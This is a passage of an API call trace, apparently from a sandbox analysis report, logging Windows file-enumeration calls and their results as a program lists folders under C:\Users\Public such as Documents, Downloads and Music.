hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0144.324] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.324] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0144.324] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.324] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.324] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.324] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.324] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.324] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.324] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.324] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0144.324] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0144.324] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0144.325] GetLastError () returned 0x12 [0144.325] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.325] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.325] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.325] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.325] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.325] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0144.325] GetLastError () returned 0x12 [0144.325] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.325] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0144.325] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.325] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.325] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.326] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.326] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.326] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.326] GetLastError () returned 0x12 [0144.326] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.326] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.326] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.326] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.326] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.326] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.326] GetLastError () returned 0x12 [0144.326] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0144.326] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0144.327] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.327] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.327] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.327] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.327] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.327] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.327] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.327] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0144.327] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0144.327] GetLastError () returned 0x12 [0144.327] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.327] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.327] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.327] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.327] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.327] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.327] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.327] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.327] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0144.327] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.327] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.327] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, 